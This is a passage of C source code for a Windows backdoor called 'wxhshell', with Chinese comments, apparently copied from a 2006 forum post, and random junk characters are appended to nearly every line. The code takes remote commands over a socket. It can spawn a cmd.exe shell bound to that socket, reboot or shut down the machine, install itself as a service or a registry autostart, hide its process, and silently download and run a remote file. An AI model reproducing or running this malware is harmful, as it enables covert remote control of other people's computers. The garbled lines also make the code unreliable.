  else { xZMAX}8v  
)EsFy6K:  
    switch(cmd[0]) { "!o|^nN,  
  S"Ag7i  
  // 帮助 ,Mn?h\  
  case '?': { 2cv=7!K4Uv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )aX#RM? N  
    break; @Wzr rCpj  
  } *nY$YwHB  
  // 安装 S^SF!k=  
  case 'i': { `{nzw$  
    if(Install()) :1!k*5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vf$q3X  
    else B,{Q[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [g lhru=+  
    break; 3=^B &AB  
    } v *@R U  
  // 卸载 6"o@d8>v  
  case 'r': { )!l1   
    if(Uninstall()) i uoZk5O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -$f$z(h  
    else G>+iisb%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  11-?M  
    break; w `>g^_xsg  
    } S\A9r!2  
  // 显示 wxhshell 所在路径 JjBlje  
  case 'p': { =K6{AmG$  
    char svExeFile[MAX_PATH]; ,@@FAL  
    strcpy(svExeFile,"\n\r"); 5S%#3YHY2  
      strcat(svExeFile,ExeFile); }vX/55  
        send(wsh,svExeFile,strlen(svExeFile),0); n'<F'1SWv  
    break; b5UIX Kim  
    } [F^j(qTR  
  // 重启 lUM-~  
  case 'b': { I oC}0C7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /h K/t;  
    if(Boot(REBOOT)) iaQ3mk#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2NWQiSz  
    else { ,mD{4 >7  
    closesocket(wsh); (fC U+  
    ExitThread(0); h_xzqElZu  
    } MZ <BCRB  
    break; (L7%V !  
    } M}!E :bv'  
  // 关机 S>EO6z#   
  case 'd': { sKL"JA T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0d #jiG  
    if(Boot(SHUTDOWN)) EceD\}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A@ 4Oq  
    else { x`zE#sD  
    closesocket(wsh); kwpbgQ  
    ExitThread(0); G/_9!lE  
    } 1(m[L=H5>  
    break; Nvj KB)J  
    } zFO#oW,D  
  // 获取shell ]*yUb-xY  
  case 's': { j{H,{x  
    CmdShell(wsh); hXP'NS`iv  
    closesocket(wsh); o<i\1<eI  
    ExitThread(0); ,V # r  
    break; ey) 8q.5  
  } $ud\CU:r  
  // 退出 "I&,':O+  
  case 'x': { PQ4)kVT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n~v*  
    CloseIt(wsh); bc*CP0t|  
    break; #TG.weTC  
    } FK`M+ j  
  // 离开 S1d{! ` 3  
  case 'q': { , Y cF~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eRvnN>L  
    closesocket(wsh); 5,K*IH  
    WSACleanup(); Q`(.Blgm;  
    exit(1); eih~ SBSH  
    break; d<afO?"  
        } 2vX!j!_  
  } 5$"I Uq*  
  } OW1\@CC-69  
`>skcvkm  
  // 提示信息 rsC^Re:*jr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f-a+&DB9  
} ~mu)Cw  
  } 7& G#&d  
v L!?4k  
  return; jV|/ C  
} :,FI 6`  
M07==R7  
// shell模块句柄 ev%}\^Vl[  
int CmdShell(SOCKET sock) }1pG0V4  
{ #)EVi7UP  
STARTUPINFO si; j\@osjUu  
ZeroMemory(&si,sizeof(si)); 'mU7N<Q$qQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {qPu }?0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9|1J pb  
PROCESS_INFORMATION ProcessInfo; *WZ?C|6+  
char cmdline[]="cmd"; (eF "[,z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s N|7   
  return 0; Rkz[x  
} szU_,.\  
ZH8Oidj`  
// 自身启动模式 W)m\q}]FYz  
int StartFromService(void) -4nSiI  
{ J:Ncy}AO  
typedef struct KeE)9e   
{ Y@R9+ 7!  
  DWORD ExitStatus; ,lr\XhO  
  DWORD PebBaseAddress; EZg$mp1  
  DWORD AffinityMask; V [r1bF  
  DWORD BasePriority; Pvu*Y0_p  
  ULONG UniqueProcessId; CWS&f g%o{  
  ULONG InheritedFromUniqueProcessId; ca!DZ%y  
}   PROCESS_BASIC_INFORMATION; \XT~5N6  
)MU)'1jc,  
PROCNTQSIP NtQueryInformationProcess; o<nkK+=Afm  
>.f'_2#Z&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yOXL19d@p_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D0a3%LBS/2  
k&SI -jxj  
  HANDLE             hProcess; ^h\Y.  
  PROCESS_BASIC_INFORMATION pbi; p}O[A`  
kxVR#:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +LeM[XX  
  if(NULL == hInst ) return 0; x4nmDEpa  
R`!'c(V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Y- S"Ks  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vK~tgZ&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JN:EcVuy  
e!JC5Al7  
  if (!NtQueryInformationProcess) return 0; c 6Z\ecH9  
3pk `&'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /5 6sPl 7}  
  if(!hProcess) return 0; >pq= .)X}  
$@ Fvl-lK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %+e% RZ3  
Or*e$uMIY  
  CloseHandle(hProcess); P{_Xg,Z  
|>L|7>J{<d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QvjOOc@k~n  
if(hProcess==NULL) return 0; /$,~|X;&  
EoD[,:*  
HMODULE hMod; Ec;{N  
char procName[255]; ;^Hg\a  
unsigned long cbNeeded; &$+nuUA  
dE0 p>4F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WyD L ah^/  
n%1I}?$fO  
  CloseHandle(hProcess); i%eq!q  
`U[s d*C"  
if(strstr(procName,"services")) return 1; // 以服务启动 xD3Y-d9  
'2BE"e  
  return 0; // 注册表启动 ( 17=|s  
} {Mx3G*hr  
8O0E;6b  
// 主模块 -^+!:0';  
int StartWxhshell(LPSTR lpCmdLine) NT}r6V(Aju  
{ ^ H )nQ  
  SOCKET wsl; `(@}O?w!1  
BOOL val=TRUE; {3{cU#\QA  
  int port=0; c[QXc9  
  struct sockaddr_in door; 8#&axg?a  
#\X="' /  
  if(wscfg.ws_autoins) Install(); Yl!~w:O!o  
+ IpC  
port=atoi(lpCmdLine); E |BE(F;K  
NHjZ`=J s  
if(port<=0) port=wscfg.ws_port; C/L+gU&  
7xr@$-U  
  WSADATA data; w;Jby  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;)nV  
~xSAR;8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ollk {N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sq~9 l|F  
  door.sin_family = AF_INET; 7-u['nFJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q!+&|F  
  door.sin_port = htons(port); L 2k?Pl  
<5wk~|@t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <B %s9Zy  
closesocket(wsl); =Pu;wx9  
return 1; xOAA1#   
} ~$\9T.tre2  
Fw!TTH6l0  
  if(listen(wsl,2) == INVALID_SOCKET) { E,nxv+AQ  
closesocket(wsl); 50l! f7  
return 1; ,-GkP>8f(  
} B"rfR_B2M#  
  Wxhshell(wsl); f8c'`$O  
  WSACleanup(); _R 6+bB$  
ySEhi_)9^  
return 0; +.u)\'r;h  
1ae,s{|  
} GV"HkE;  
VX<jg#(  
// 以NT服务方式启动 -4 !9cE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l#;DO9  
{ 2iJ)K rw  
DWORD   status = 0; `$5 QTte  
  DWORD   specificError = 0xfffffff; Arzyq_ Yk  
v==b. 2=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {-fhp@;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m\hzQ9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c{X:0man  
  serviceStatus.dwWin32ExitCode     = 0; lPywr TG0  
  serviceStatus.dwServiceSpecificExitCode = 0; %Ct^{k~1  
  serviceStatus.dwCheckPoint       = 0; qij<XNZU"&  
  serviceStatus.dwWaitHint       = 0; +Kz baBK  
`,O#r0m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c6@7>PM  
  if (hServiceStatusHandle==0) return; %gb4(~E+N  
1K`7  
status = GetLastError(); C =6.~&(  
  if (status!=NO_ERROR) X*^^W_LH.  
{ $k|:V&6SV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &Is}<Ew  
    serviceStatus.dwCheckPoint       = 0; &*4C{N  
    serviceStatus.dwWaitHint       = 0; nbECEQ:|B  
    serviceStatus.dwWin32ExitCode     = status; dpPu&m+  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZHWxU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PqJB&:ZV  
    return; yDil  
  } d}Y\; '2,  
aGR!T{`   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "nzQ$E>?$  
  serviceStatus.dwCheckPoint       = 0; 9 Y-y?Y  
  serviceStatus.dwWaitHint       = 0; J:!m49fF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p!OCF]r  
} abW[hp  
ruKm_j#J  
// 处理NT服务事件,比如:启动、停止 +=:*[JEK,U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pp2,d`01[L  
{ R iPxz=kr  
switch(fdwControl) !)1gGXRY  
{ /YLHg5n8+  
case SERVICE_CONTROL_STOP: R|&Rq(ow"  
  serviceStatus.dwWin32ExitCode = 0; '[z529HN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q/[g|"  
  serviceStatus.dwCheckPoint   = 0; R'udC}  
  serviceStatus.dwWaitHint     = 0; ?m(]@6qa  
  { s6k@WT?"^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fK %${   
  } uSl&d  
  return; u3B[1Ae:K  
case SERVICE_CONTROL_PAUSE: YXi'^GU@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UBm L:Qv  
  break; +'ZJ]  
case SERVICE_CONTROL_CONTINUE: >OLKaghV.5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,DZoE~  
  break; YcaomPo  
case SERVICE_CONTROL_INTERROGATE: e` QniTkT  
  break; @F-InfB8.  
}; Vx<`6uv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XB.xIApmy  
} Nf!g1D"U  
zarxv| }$  
// 标准应用程序主函数 BWWO=N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P5K=S.g  
{ +}.~"  
vR)f'+_Nz  
// 获取操作系统版本 s<XAH7?0  
OsIsNt=GetOsVer(); o _G,Ph!7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aWCZ1F  
M&v;#CV  
  // 从命令行安装 j TyR+#Wn  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?^Q8#Y^M  
2d#3LnO  
  // 下载执行文件 Q:5^K  
if(wscfg.ws_downexe) { "K9/^S_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vh/&KTe?:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6${=N}3Kw  
} ^vHh*Ub  
MP3Vo|}3  
if(!OsIsNt) { i!a. 6Gq  
// 如果时win9x,隐藏进程并且设置为注册表启动 )/y7Fh  
HideProc(); 3 i;sB  
StartWxhshell(lpCmdLine); y v58~w*"  
} mM$|cge"  
else ^5D%)@~  
  if(StartFromService()) ..K@'*u  
  // 以服务方式启动 -`8pahI  
  StartServiceCtrlDispatcher(DispatchTable); +v.<Fw2k#  
else ]<xzCPB  
  // 普通方式启动 B@ xjwBUk  
  StartWxhshell(lpCmdLine); RDSkFK( D  
{O=PVW2S  
return 0; #aua6V!"  
}
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只看该作者 1 发表于: 2006-10-10
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